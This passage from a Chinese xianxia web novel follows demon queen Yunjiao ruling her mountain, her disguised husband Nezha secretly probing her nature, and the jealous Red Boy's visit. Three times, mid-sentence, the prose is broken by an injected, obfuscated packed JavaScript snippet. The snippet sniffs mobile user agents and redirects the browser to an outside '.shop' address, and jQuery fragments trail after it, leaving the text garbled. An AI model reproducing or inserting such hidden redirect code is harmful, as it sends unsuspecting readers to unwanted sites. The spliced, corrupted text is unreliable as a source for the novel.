他甚至困惑,“大王,我法力高强,在你这山里当个洞主都绰绰有余,那苍狼精根本不敌我,你难道要为了几个死妖,放弃我这样的大妖?” 云皎噗嗤一笑:“你法力高强?” 误雪也不禁掩唇。 蛇妖登时明白,在云皎心里,连旁边那个弱不禁风的杏妖都比他重要。 她在轻视他!这般狂悖傲慢,她又算什么东西? 云皎不过三百余岁,在动辄几千岁的妖族之中简直不值一提,这蛇妖几千岁,被她嘲笑,当即怒不可遏: “你这乳臭未干的小儿!我敬你一声大王,你还真敢摆谱,我化生之时你还不知是尘是土,要论资历,你做我儿还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16215216|180710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差不多——” 它一面说,一面嘶鸣,偌大的蛇尾摆动,将一众小妖扫开,卷起骇然烟尘。 那柄钉在它七寸的长剑震颤,眼看它似要挣脱束缚。 “说错了。”云皎却神色未变,只淡淡纠正,“我、是、你、爹,才对。” 话音落下,蛇妖竖瞳一滞,庞大蛇脸上露出极致惊恐痛苦的表情,连信子都僵直地吐在外头。 天仍晦暗,雨不知何时渐小。尘土被细雨压落,朦胧之中,群妖只见那庞然蛇身自长剑贯穿处迅速覆上冰霜,不过瞬息,再不能动。 这柄剑,是云皎的本命法器。 当年她尚在祖师门下修行,某日忽觉缺件趁手兵器,心情烦闷。祖师看出她也是个乖张性子,怕她也学孙悟空闹海取宝,随手指引她往北俱芦洲而去。 云皎欣然前往,取极北寒铁锻成此剑,命名为“霜水”。 此剑可化寒刃,亦可凝水为鞭,攻守缚敌,皆可做到。 并且,它还能散发极寒之气,须臾可将敌冰封,是真能速冻的那种。 云皎心甚慰。 蛇妖再说不出话来,它已被彻底“速冻”了。 “大王山的规矩很简单。”云皎迎风而立,面立群妖,“诸妖按工行事,按功领酬,可若做不到‘不欺同僚,不妄杀生’——下场,便如此。” 云皎信奉自然之道,给予众妖自由与发展空间,也给出了凡界山头最优厚的报酬、最简明的规则。但也因此,底线绝不容破坏。 规则就是规则,你可以不驯,但你在我的山头,必须听我的。 暴戾横行的世界,规则就是以暴制暴。 雨渐停歇,云皎一身素净春衫,墨发白裙,周身并无多余缀饰,立在绮罗珠翠的妖群之中,更添几分遗世独立的纤细。 可群妖皆知,并非如此。 它们亲眼见她谈笑之间,甚至未抬衣袖,便轻描淡写诛灭了一只千年大妖。 但云皎真是这种寡淡“仙子”挂的吗? 杀妖不见血,深藏功与名……当然不了! 她抬手握住被冻硬的蛇头,稍一使力,偌大蛇首就被她掰下,粉碎。 少女身姿纤薄,手腕细嫩,蛇血冻结成冰,擦过她雪白的衣袖留下血痕。 无头的蛇身轰然倒地碎成尸块,一道虚弱的魂魄挣扎欲逃,却被她随手擒住碾灭。她的指尖染满鲜红,眉眼也仿佛缀上血珠,明亮妖异。 “你只有一条命,却害了数条无辜性命,是故,你的魂魄也得拿来偿还。” 很是暴力血腥的画面。 ——但杀鸡儆猴,实力碾压,小妖们老实了。 她眨了眨眼,语气仍旧温和,与群妖道:“将被杀的人与妖敛好尸身,送往各自家中,赔付钱帛。” “是,大王……”群妖敬畏应声。 云皎满意点头,便要去处置另一不作为的苍狼精,视线一转,忽瞥见自己那位柔弱不能自理的夫君由小妖搀扶走来。 山涧难行,他步履缓慢,覆眼的白纱不见踪影,露出一双极其漂亮的凤眸,似“凝注”着她。 啊呀,她杀妖呢! 云皎第一反应是让凡人看到这等血腥画面,有点超过。放在三百年前,她也接受无能,凭空生出一股子心虚,将染血的手藏于身后。 可转念一想,就算没蒙眼,他也看不见呀。 于是她又放下心来,但不知为何…… 她凝眸看去,总觉夫君那张清俊的脸上,似掠过一分…欣赏? 14.呼吸微乱 “大王,雨停了。”误雪在云皎身旁轻道,“太好了,不会有洪灾了。” 云皎自也察觉,低头嘟囔了声:“是啊,不用跑鹰愁涧了……” 就说天意不让她见小白龙吧! 哪吒正走至她身边,闻言心意微动,便明她早觉暴雨之因。 可她宁愿苦挨三日,是为师出有名,不被任何人察觉到她的深层动机。 此举,是害怕被人发现弱点。 ——可他已经发现了呢? 哪吒再看云皎,雨势停歇,尚有风动,她的衣袂被风鼓动,却不再像堪折的枝。 藤枝,原本柔,且也韧。 走至云皎身前,他状似摸索,云皎下意识去牵他,顷刻被一指探去腕上经脉。 果然,她原先躁动的灵力已平稳下来。 “夫君,你怎会来?”云皎诧异。 误雪用法术将他送回去,他能这么快赶来,也是小妖带他瞬移。 哪吒神色未变,“先前听小妖说前山的妖杀人又杀妖,我细想下来,放心不下你。毕竟夫妇一体,当同进同退。” 误雪瞥他一眼,面露欣慰。 云皎笑盈盈提醒他:“那小妖叫‘麦乐鸡’,你听它声音尖细,是只鸡精,还有你身边的‘麦旋风’,它是犬妖,音色浑厚,略微结巴,往后不要错认了……” 何以与他说这些?但哪吒反应过来后,牵住她的手蓦然一紧。 他听云皎接着道:“往后我们都是一家人呢。” 她是教他这个“眼盲”之人,细细辨认“家人”。 哪吒沉默。 他心中仍有不屑,细想下来却非轻慢,他从未有过家人,自不在乎。 云皎却微有诧异,望向他身后的“麦旋风”。 这修勾虽结巴,平日却很爱说话,只要话别说太快就不会打嘴瓢,她正是考虑到夫君太沉默,才将麦旋风指给他调和的。 怎今日一声都不吭? 她欲言,哪吒不动声色挡住她视线,“夫人,我闻四下寂静,是事已了结?” “还没呢,稍待片刻。”他提醒了她,云皎拍他手安抚,便转回头看向一狼和…一只不是她大王山的熊。 “苍狼,你随我回金拱门洞,至于你这熊……” 一小妖提醒道:“大王,此妖乃黑风山的熊罴怪,也名唤‘黑风’,想归入麾下,方才也是他防着蛇怪伤人。” 好熟悉的名,云皎眼睛一转想起——这不也是九九八十一难预备队伍嘛! 这一难在西行前期,起因还非是它。 是因它与一虚伪和尚结交,那老和尚对唐僧的锦澜袈裟起了歹念,想放火烧了西行团,它好心去救火,结果也生了贪念盗走袈裟,引得孙悟空找来观音菩萨了却此事。 她还记得,这是个挺有品味的妖,很会装饰洞府,连观音看了都喜欢,将它降服后带回了南海。 现在看来,也的确挺热心肠的。 她的洞府也要有专业设计师了!云皎眼眸亮起,“好好好,好熊,你为何想归入大王山?” 黑熊精双手合十,有礼道:“大王,吾敬闻大王修行有成,仅差一步登仙,想向您请教求仙问道之法。” 云皎先是提醒他:“你行的这是佛礼。” “你也知是‘差一步登仙’,我现在是妖。”她又挑眉道。 “无论如何,大王天赋异禀,五十年创立大王山,百岁便能有此等修为,可见成就。” 云皎很受用旁人的夸赞,笑得眼睛弯起,“你果然很有品味!” 哪吒将她的手牵紧。 云皎一顿,心下暗叹:夫君可真贤惠,又提醒她。 旋即她便仰头,对黑熊精道:“你也随我回洞府,容后再议。” ——当务之急,先把那个瞒报的苍狼将军处置了。 哪吒侧目,目光看似散漫,并未刻意凝注,却总不经意流连她周身。 皎皎如月,白衣胜雪。 她秀颈扬长,桃花眼勾起潋滟的弧度,原本苍白的唇点染殷红口脂,愈发衬得唇珠饱满,丹色欲滴。 ……原本是苍白的。 她本是疼痛未愈,怎有闲心,在此与人谈笑? 好在云皎当断即断,这便牵着他往洞府而去。 * 但回洞府后,她未多陪伴夫君,带着一众妖径直往前厅议事。 哪吒没有跟随,即便在外,他也能将动静听得一清二楚。 厅内,黑熊精道:“云皎大王,我有一至交,法号金池,乃南海观音禅院的住持,亦有求仙之心。听闻大王山不问出身,不知能否让他也来……” 云皎一听,哈!佛门中人求仙问道?那你这拜佛不是搞笑吗,都叫问“道”了! 果然是假和尚。 她让HR误雪再盘问些有用信息,自己则带CEO白菰去另一厅处置苍狼精。 白菰对于在职不配位的妖,处置方式干脆利落。 “你爱干不干!你从前当妖王,如今也是妖王,且拿了比单干还多的好处,却一点做不好差事。我告诉你,你干不好,有的是妖能干。” “如今你犯了重大错误,只得退位让贤,重评职称,等考核达标了再说。” ——不少管理理论知识是云皎传授的,但白菰说出来,已经非常有那个职场感了。 本是苍狼精隐瞒不报,害了数条性命,他虽不忿也不敢生事,喏喏应是。 毕竟,若真按弱肉强食那一套,在他被云皎打败的那日,他就该离开这片山头;也或者,早就被云皎杀死。 误雪很快复返,在云皎耳畔道:“那金池…听黑风怪口述,恐有些不对。” 误雪说观音院还有不少年轻的尼姑,说是随金池一众修行。 云皎也觉不对,掐指捻算后脸色微变,“着人调查。” 误雪应是。 苍狼精也隐约听见交谈,忙请命着:“大王!让我也去将功补过吧!” 云皎眯眼,又一掐指,眼眸往他身上扫去,“你?你可确定。” “属下虽死不辞!” 她笑了,舒展掌心未再多言,算是默认。 苍狼精这便退下。 云皎有打算留下黑风怪,先体验体验观音专属设计师的水平。便将此事交给误雪,又对白菰吩咐:“对了,苍狼精的所谓考核再升,不用作数。” 间接害死了人还想复原职,没这可能,不过表面话术,免得他有错在先还生出无端怨恨。 白菰:“我明白。” * 厅外,哪吒随手拨弄指上金戒,若有所思。 他这夫人…… 初来大王山,他以为她是以强治暴,以力取胜;后来却发现,她是以物诱心,以利谋胜; 可再相处才明悟,她不仅擅长这些,还极通晓世故,聪颖圆滑,是以智得胜…… “莲之,还在呢。” 云皎推门而出,误雪向哪吒颔首,白菰却未有表示。 哪吒皆视若无睹,这些妖在他看来,如有必要,尽可诛灭。 谁会与死物计较。 黑熊精不知又从何处窜出,“大王,您何时能教我成仙之道?” 云皎头疼三日不曾歇息,强撑至此,倦道:“待我写几卷功法,你照着练便是。” “好嘞!”黑熊精兴奋道。 误雪提醒黑熊精:“别忘了早日将洞府的改造图纸交出来。” 黑熊精又道:“好嘞!我这就去。” 这些妖聒噪至极,哪吒音色微沉,循声面向云皎,“夫人可要歇息?” 他尚未探明云皎真身,意图再试。 云皎刚要顺口应他,忽地忆起池中那点暧昧事。 ……香香夫君还怪热情的,当时给她捏肩捏得可卖力,但她这会很累,暂不想卿卿我我。 她心中油然而生一种“原来我是那个有心无力的丈夫”之感,摆摆手:“不了,你先歇息吧,我回寝殿写功法。” “你……” 哪吒才启唇,云皎发动“听话咒”,转头就跑,“夫君拜拜啦。” “……” 被定在原地的少年神色难辨,白菰误雪也表情各异,最终默默随云皎离去。 * 云皎回到寝殿,犹自书写功法。 可她实在疲惫,很快便泛起困意,伏案小憩。 殿门却倏被推开,她惊醒望去,见夫君缓步入内才稍放下心。 少年并未看她,心中却 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止住冲动后,她沉重道:“因为,我恐高。” “……” 这样的理由搪塞不了任何人,她冷淡的夫君自也不信,唇角微扬,掠过一丝几不可察的嘲意。 倒反天罡,还敢笑她。 云皎轻啧:“天庭哪有凡界好,肯定处处是规矩,我才不喜欢。” 去不了,她就不喜欢。 昔年她直上南天门,却被天兵拦下,说她乃下界精怪之后,纵已达金仙之境,亦不得入天。 什么身份歧视?她还不稀罕了呢。 哪吒垂眸,这几日看来,她确实喜欢大王山的生活。 云皎仍在书写,秀气指节上乾坤圈晖光闪过,与他手上金戒遥相辉映。他静望片刻,忽想:若当日他未见到她,是否早已荡平这妖洞? 佛门知他好杀,却放任他来探查。 纵使之后将“金箍”交给云皎,也不过是因她未死于他手,生出些管束之心。 无论管束她,还是管束他。 “对了。”云皎写完一节,杏眸微转,又调侃道,“若早成仙去,怎能遇上你这般漂亮的夫君?” 哪吒研墨的手一顿,眸色渐深。 他未回应,那夜赠予云皎的莲被她养在玉缸中,莲香早已渗满寝殿。 有他在侧,有他真身莲瓣所化的莲花在身边…… 云皎很快会昏迷。 果不其然,未待他回应,云皎眼皮轻阖,险些一头栽在案上。 哪吒搁下墨锭,掌心托住她的脸颊充当缓冲,拇指却不经意擦过她柔润的唇瓣。 他的视线也不由凝去。 将那点口脂缓缓拭去,赤色晕染在指腹,其下露出的仍是苍白底色。 但她的唇很软,比他触碰过的任何物什都要软,双唇相贴时,更软得像水,想含住轻吮,又怕太过用力,就这般融化于唇齿间。 他不禁又摩挲了一下那瓣柔软,直至察觉自己竟呼吸微乱,才蹙眉,抽开手指,在她眉心一点。 这次哪吒未用混天绫,而是倾注全部灵力入她身,有真身莲瓣在侧,他不怕她醒,可探查许久,仍未能辨明她的真身。 因为…… 烛火摇动,少年眸色浮沉。 ——她真身有损,本是残缺之身,生而不全,难以辨认。 哪吒拂过她额间,思忖着……她或许不是没有龙角,而是额间有伤,才会头疼。 但四海龙族皆录于仙籍,龙族嗣脉艰难,千年间未有新诞生的龙。 否则昔年也不会只为他抽一条恶龙的筋,便被四海怀恨,乃至天庭出面,事无回旋。 可龙族当真在乎那条龙吗? 更在乎的不过颜面,封神之战前,龙族偏安一隅,称王做霸,势力可比如今大得多,敢不降霖雨,敢享用人祭——自他大闹东海,又归入天庭麾下,他们还敢么? “云皎。”他垂眸望着沉睡的少女,低声轻语,“你最好不是龙。” “我不喜龙。” 15.百年情缘 云皎难得睡了个好觉,整个人神清气爽。醒来已是在床上,想来是夫君将她抱过来的。 正打算今日践行带好夫君出门逛街的承诺,怎知小妖来报——红孩儿上门了。 云皎眼皮跳动,掐指一算,预感不好。 “阿姐!” 清亮嗓音带着几分兴奋、几分委屈,还有隐隐的不忿,人未到声先至。 恰逢隔壁门开,夫君也走了出来,闻声侧目,“夫人,这是何人声音?” 误雪已然候着,解释道:“此乃号山枯松涧的圣婴大王红孩儿,亦是我们大王的结义弟弟。” 哪吒眼覆白纱,微微偏头。 明明他眼盲,云皎却觉得他目光灼灼,刻意盯着她瞧似的,像是要一个解释。 弟弟就是弟弟!有什么好解释的。 她打哈哈,“我们成亲时本要请他来,可惜当日他有事,竟忙了这些天才回……莲之,你见见,圣婴是个好牛啊。” 哪吒记得此事,那日云皎还特意询过,但他不曾放在心上。 可待红孩儿走近,他心中却生出些微妙。 “阿姐,你竟成亲了,为何全然不与我商量?” 一道身影疾步入内,眉似新月眼含钩,形貌美艳一表才,虽看上去不过十五六岁年纪,却已有一派凛冽气度,眉心一点红痣,又添几分妖冶。 只是分明五月天,他却披着一件雪白的毛领襟袍,虽贵气夺目,也有打扮过盛的嫌疑。 云皎却很是喜欢,“哇塞!哪里搞来的白毛领,真好看。” 红孩儿锐利的眼风先扫向哪吒,才转向云皎灿然一笑:“是我自己的毛所制,阿姐喜欢?明日便命人送多些来洞府。” 这小少年瞳色极深,如幽邃的墨,眼白分明,犀利间有一丝邪气,紧盯着云皎时如看自己不容觊觎的瑰宝。 但当云皎抬眼看他,那点幽暗又消逝了,变成纯然的明亮。 哪吒心下微妙又深几分。 “好好好,你好。”云皎满意道。 他又问:“所以,阿姐,你为何突然成亲?” “这个嘛……”云皎很难回答,就是莫名其妙看对眼了,那日便直接将婚礼办了。 她含糊道:“坐拥万贯家财,忽觉还缺一位娇夫侍奉我,便想成家了——彼时还给你留了个金童的位儿呢,可惜你不在。” 红孩儿笑了,“阿姐的意思是你背着我成亲,还要我给你当金童?” 这很合理嘛,云皎想。 西行都要开始了,红孩儿将随观音修行,与龙女凑成金童玉女组合——他可是“真金童”啊! 她坦诚答:“是啊,你长得好看,又是我阿弟,是最合适的人选。” “阿姐你——” 云皎打断他,“这些天你去哪儿了?我婚典都没赶上。我让误雪备宴,替你接风。” 她有意缓和气氛,拉着他走去哪吒身边。 可哪吒低垂着头,目光也凝在他二人几乎相执的手上。 “咦?阿姐,你这夫君竟是盲的,又是凡人。”红孩儿故作惊讶,其下压着一丝轻蔑。 云皎缓缓摇头,叫他不要再说。 想了想,她夸哪吒:“可他长得好看呀。” “阿姐方才不是说我俊吗?” “你俩都俊。” 她先行把“我与城北徐公孰美”这个话题过掉,一碗水端平。 但眼神在两名美男子之间转了转,还是做出些区分。 二人是截然不同的美。 莲之看上去年岁也不大,神态却无稚气,宛若谪仙,圣洁清艳,偶尔流露几分肃杀沉凝,尚在分寸间,收放自如,恰到好处。 红孩儿却不一样,他的美很外扬,美艳绝伦,明灿炽烈,明明极具杀伤力,又青涩地刻意收敛,反让这般容色透出一丝邪异。 果不其然,红孩儿仍道:“不如叫他取下白纱,让我好好瞧瞧是怎样一张脸,能得阿姐青眼。” 这话已显露几分攻击。 云皎含笑,未应。 云皎或许无意相牵,只牵住红孩儿的袖口,对方却得寸进尺,若即若离勾缠她的小指。 哪吒再抬头时,便见那狂妄小儿也正看他,眼含挑衅。 “我父让我去寻宝珠,我本以为他要送我娘,待我回来,才知他是送予那狐狸精,阿姐,你可知我这一路风餐露宿,多么劳累……” 精怪之流,不过寻常琐事,也要缠着云皎絮叨。 哪吒心下嗤笑,缓缓牵住云皎另一只手,与之十指相扣,“夫人,令弟可是年岁尚小?言语狂悖,毫无计较。” 他原以为红孩儿会因此怒不可遏,露出“乖巧”下的本性。 怎知对方眼睛一眨,委屈道:“阿姐,你这夫婿好凶恶,我从前也这般同你说话,怎得他一来,就成我狂悖了?” 云皎一个头比两个大,望天。 她没看出他们的暗潮涌动吗?她又不是傻子。 ——成亲当天,她就说了红孩儿若知,必定要闹吧! 关于她与红孩儿的相遇,还要从三百年前说起。 那时她为寻访灵台方寸山,途中偶遇一小白狐,结伴同行却不慎走散。正伤心时,又在下个路口撞见了离家出走的小白牛犊。 无论是狐是牛,只要是白毛,云皎都喜欢。 小牛陪她走了段路,她方知他是红孩儿,依他心意结拜,之后她在方寸山修行,还常会互相看望。 待她出师,发现小牛再度离家出走,她陪他建立了号山新家,寻仙受阻后,又是小牛陪她建设大王山,归入她麾下。 对云皎而言,这是养成小牛犊的故事。 但对红孩儿而言,好像不是…… 她想了想,总觉得一个修罗场将要成型,沉痛打断剑拔弩张的气氛。 “事已至此,先吃饭吧。”云皎道。 怪她长得太好看,唉,都说红颜祸水,但用不着她身上—— 想来她应当是女帝临位,二妃争宠,实在苦恼。 席上,红孩儿却又抢先一步给她斟茶,“阿姐,你夫君眼盲,想必不能这般体贴吧?” 哪吒将那杯茶夺过饮下。 红孩儿心起怒意,“你这是何意?” 哪吒不咸不淡道:“抱歉,我眼盲,可是错端了茶水?” 云皎另取茶盏,闻言不免瞥他一眼,她心思敏锐,自看出夫君有较劲之意,但他这些日都娴雅清淡,竟真会出手…也是她没想到的。 有意思。 “夫人。” 怎知这一眼似被他察觉,哪吒侧首,“内弟尚不知我名姓,劳烦夫人引见?” 是了是了,她给红孩儿缠得都忘了此事。 云皎含笑介绍:“圣婴,我夫君名唤‘莲之’,南赡部洲人士,你唤他……”什么好? “姐夫。”哪吒淡声接话,“内弟唤我姐夫便是。” 红孩儿:“……” 白衣少年森寒一笑,又很快压下眼中对哪吒的憎恶,敛垂乌眸。 可他非是真的收敛,或许年少气盛,或许本性狂恣霸道,他咧唇一笑,干脆直言。 “阿姐,十年前我求娶你,你以彼此年岁小婉拒。可不过十年,你便自行成了亲,怎能如此?” 红孩儿其实比哪吒更了解云皎。 若直接对哪吒发难,云皎会维护,或许还会对哪吒生出几分怜惜之心。 不如直接与她说,她不怕旁人指责,总会反击。 反击过后,自也不会放在心上。 果不其然,云皎险些被茶水呛住,立马反驳:“红孩儿,十年前的事干嘛翻出来说?” 这会儿连大名都不唤了。 “阿姐,只是十年而已。”红孩儿眨眼,漂亮眸子里漾开悲伤,“我是真心想娶你,如今闹到这一步,我心里难受。” 他还知道,若他示弱,云皎也会怜惜。 被这般破碎的眼神望着,云皎当真有了一丝心软。主要她早早考虑到红孩儿会去南海,肯定拒绝啊,她压根没想过二人的事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云皎下意识要避,忽地身后椅凳挪动,她的夫君起身,沉沉不发一言往回走。 云皎:“欸,你小心些!别磕碰着了。” 夫君不听,夫君径直离开。 红孩儿眼中暗芒闪过,指尖灵光闪过,云皎却随意拂袖,恰好拦下了那道本将落去哪吒腿边的灵气。 她回头,似笑非笑看他,显然早看穿他的把戏。 “好了,你该回去了。”云皎轻声启唇。 * 山外晴朗,天澄云淡。 红孩儿甫一出大王山,明艳脸庞上的温和彻底褪去,眉眼间的青涩也因此少了几分。 眉心的红痣随着蹙眉,也微微耸动,妖异动人。 候着的急如火、快如风两只小妖连忙迎上,“大王。” 红孩儿低声吩咐:“你二人不必随我回号山,就在大王山附近寻个隐蔽处守着,盯紧阿姐那位…夫君。” “夫君”二字被他念得意味深长,却非无脑愤懑,他只是眼见年少气盛,却非真的心浮气躁。 能成为一山大王,尤其像他与云皎这般声名显赫的妖王,仅靠蛮力远远不够。 他明白云皎欣赏他少年稳重,也乐意见他假扮温顺,她很懂他,她本该慢慢喜欢上他的,彼此是年少相识、青梅竹马的情谊,他也不会真将一个凡人放在眼里…… 但今日试探,他却发现那凡人不简单。 群妖环伺临危不乱,面对挑衅波澜不惊,尤其是最后——明明目不能视,却步履稳健,甚至分明料到他会下手,却毫无惊惧,信步离去。 是轻蔑,是过人的胆量,是……绝非寻常凡人应有的底气。 云皎是被那狐媚凡人的皮相蒙蔽了,竟将他赶了出来,红孩儿一心为姐,绝不容许这样危险的人物在她身边。 阿姐,是他的阿姐,合该由他来守护。 16.夫妻一场 哄好一个,又来一个。 云皎拨弄指上金戒,近来她瞧夫君总爱如此,也学来这么个习惯。 别说,和盘串似的,不一会儿就心平气和了。 她便起身要去寻夫君。 云皎可不是缩头乌龟,大王山是整山“苟”,她就一个人无畏,哄个男人而已,能有多难? “夫君!”云皎抬手叩门,本以为要等上片刻,没想到对方很快开了。 褪去覆眼的纱,少年视线并不锐利,但因眼尾微挑、轮廓清厉的眼型,仍透着几分冷肃。 云皎也“眼瞎”了,装没看见,笑吟吟仰头道:“走呗?说好带你去逛集市,我们去长安?” 夫君静静伫立片刻后,才“嗯”了一声。 云皎只觉得他性子还挺温和。 为夫者贤良,为妻者甚慰,她欢欢喜喜去牵他的手,“那我们走!” 但触及他掌心,又觉沾染到一丝黏腻水润,不免疑惑。 “夫君,你的手怎么湿了?” 哪吒垂眼“看”她,今日她这一身确如她所说,是误雪所选。 云鬓高绾,珠钗明耀,一袭齐腰春襦裙,上衫豆青绣云水纹,下裳丁香色掐丝金海棠,纤颈悬系宝石璎珞,腰佩叮当玉环。 少女的婀娜明灿被全然勾勒了出来,令她美得像画中仕女,秾丽生光。 但他今日见了红孩儿衣着,便思索推知,她喜白,白衣……白色的一切。 即便自己不穿,看见旁人装扮也是喜欢的。 “方才在侍弄缸中莲。”哪吒应道。 ——在取新结的莲藕,制成藕人,往五行山一趟。 云皎哦了声,瞧他确实云淡风轻,便觉此事已了结,懒得再想,拉着他往山外去。 * 云皎没让太多人跟随,只带了误雪。 大唐不愧是我大唐,长安城车马骈阗,人潮如织,繁华景致暇不应接,乃泱泱大国之风采。 大王山与人族通商,她尤爱与大唐做生意,原因无他——大唐当然算她前世老家,和自家人交易,舒心。 只是才落地,腰间玉佩忽传来响动,小妖来信:“大王,鹰愁涧那边传来动静,昨日好像有神仙来过,是、是天庭的哪吒三太子……” 哪吒:“哪吒?” 云皎一顿,将玉牌敛起,思索着这个手机的私密性还是不大好,回去要改良下。 她走在前,随口问他:“夫君不知哪吒吗?” 哪吒颔首,“自然识得,但我不信神佛,仅知他闹海的传说,其余不知。” 云皎便解释几句,说对方是天庭的中坛元帅,统领五营神将,是天庭极有名的人物。她心中若有所思,每月大王山会排一场戏,这月度有题材了——就演《哪吒闹海》吧。 “听起来确然厉害。”哪吒随她向前,见她许久未言,便问,“夫人可是因他下凡,心有忧虑?” 云皎侧目,凝视他道:“还好,只要他不来大王山,井水不犯河水。” 哪吒笑了笑:“夫人神通广大,定能敌过他。” 云皎静默须臾,捏起他手心,无所谓地挑了挑眉。 “那当然!” 面上如此答,心中她却在思忖其他。莲之…莲之,昨日哪吒去过鹰愁涧,莲之昨日可曾一直与她在一处? 哪吒又为何去鹰愁涧? ——真就一条龙都不放过啊。 一旁的夫君轻笑了声。 他没有避开她的触碰,反倒紧攥着她,任她多疑猜测,只淡淡启唇:“夫人,此处人多,你可要牵紧为夫。” 长安的街市热闹非凡,摩肩擦踵,云皎看他。 少年眉心微蹙,他眼不视物,终于露出一丝不同于往日镇定、更符合年纪的隐忍无措,俨然对人多难行而心烦。 她心中怀疑稍淡,将他牵得更紧。 下一处转角人却愈发拥挤,街口隐隐传来诵经声,几人望去,一位赤澜袈裟的僧人正端坐高台,垂首吟诵。 对方眉眼清润,不笑也似笑,云皎几乎瞬间确定这就是唐僧。 还搁这儿念经呢!还没出发? 就在这时,一老妇与他二人擦肩而过,哪吒下意识将云皎拽入怀里,眸色沉冷。 “夫君?”云皎疑道。 她正看唐僧呢。 难不成他能看到她在看别的美男子?可那只是个和尚啊! 少年微抿唇,摇头:“无事,方觉有人凑近,恐夫人遇险。” 那道身影渐渐消失于长街,那是做妇人装扮的观音,尚在长安护持金蝉子转世。 哪吒忆起方才一瞬对方的神情,是淡而无奈。许是听到他们方才的对话,心觉他如此戏弄云皎不妥。 可这本是他与云皎之间的事,岂容外人置喙? 云皎一愣,索性背靠在他怀中,低低笑着,“夫君你真会说笑,我有危险?我看你担心自己为好。” 若非是他在牵她,方才那点力道都扯不动她。 她本是句玩笑话,怎料夫君将她揽得更紧,垂头,瞧着少了分平日的神采。 相贴的肌肤隔着衣料渡来暖意。 “是啊……”她听见他喃着,“如圣婴所言,我与夫人本是云泥之别,是该忧心自己这具薄弱身躯。百年后我作尘土,夫人仍然意气飞扬。” 仰头,可见他自嘲勾唇,“是莲之妄想,将彼此看作寻常夫妇。” 分明置身熙攘人群,他音色依旧清晰。 云皎给他这凄然破碎的神色整不会了,原来夫君是在意那点事的。 这真叫她生出了几分不好意思,可能是午夜梦回,会有一秒钟惊疑“我真该死啊”的程度。 她连声安慰:“你、你也不必妄自菲薄,至少你……”长得好看。 “长得好看”几个字被她咽回去,感觉还是有点扎心。 云皎,不可以直言不讳! 她摆出更沉痛的表情,本还想抽出手去揉他的脸,被他箍得太紧,遂放弃,“你我情投意合,百年之缘,那也是夫妻一场啊!你且放心,这百年我定会好生待你,还会为你养老送终。” 哪吒观她神情,凉凉一笑。 彼时,被云皎和她那所谓的弟弟,像对待一件随手可弃的物件议论,他可有愠怒? 自是有的。 那是对神明的冒犯,一只才三百岁的小牛妖,岂敢那般挑衅他。 可哪吒也从中发觉,红孩儿在不断示弱,放低姿态——云皎需要顺服,还需要柔软,她可以放任对方露出细小爪牙,但绝不可脱离掌控,反噬她。 她受用对方的服软,且会因此心生怜惜。 红孩儿自诩了解她,但很快……他会比红孩儿更了解她,成为最了解她的人。 “夫人。”哪吒垂眼,执她手贴去脸颊,声音低柔,“夫人不必宽慰,只望百年后,夫人仍会记得曾与莲之‘夫妻一场’。” 最后几个字被他念得伤怀,好似真是位情真意切的郎君,为自己不能永远陪着夫人而遗憾。 云皎有一瞬感到茫然。 掌心传来他肌肤的微热,他呼出的气息也拂过她的手,是湿润而柔软的,几乎透入肌理。 少年未覆白纱,那双澄然上挑的凤眸“凝视”她,映着她的影子,竟是别样生动。 “那是自然,那是自然……”情不情的无所谓,反正这么好看的小郎君收入囊中了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16241076|180710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云皎不再多想,拉着他往东市走去。 集市熙攘,繁华锦绣,他们去的自是最好的成衣配饰店。 多数时是误雪在挑,云皎看着,偶有过问夫君喜欢什么布料花色。 哪吒启唇:“白。” 云皎眼前一亮,拈起一支玉簪在他发间比了比,又一顿,“可你来大王山时,着的还是一身红袍。” “红衣显眼,我目不能视避不开人,只盼旁人一眼看见,能避我。”哪吒自有应对之法。 云皎仍觉微妙,今早她才对红孩儿夸过“白毛领好看”。 只因旁人时时揣测她的心意,如大王山众,因她是大王;如红孩儿,因他自小黏她,以为喜欢她;她总要细细辨别一二。 夫君也要如此么? 虽说被讨好是件受用的事,可总被揣摩,也失了与人相交的乐趣。 再说,云皎可是现代人,没真看过战国策,课本上也学过《邹忌讽齐王纳谏》呢,为大王者,不可蔽之! 她有更好的解决方法,大手一挥:“把这些都包起来!” “往后,你每日换一色,红橙黄绿蓝靛紫,嗯……夜里单独穿白给我看,嘻嘻。”她眼如弯月,还计划起来了。 彩虹色的夫君,日日换漂亮衣裳给她看,这才是一山大王该享的福。 也才配得上他香妃的身份! 哪吒:…… “只怕夜里夫人看不到。”看着云皎明亮的眸,他淡道。 “为何?” “你我分房而居。” 云皎“啊”了声,讪讪笑道:“那今夜你来我寝殿中。” 哪吒却未答,反而话锋一转:“夫人……可愿教莲之,修仙之法?” 她不解其意,“为何?” 哪吒的余光掠过一件件华彩斑斓的锦服,误雪还挑了不少金玉佩饰,件件是凡界上品。 可他看来,不够配他。 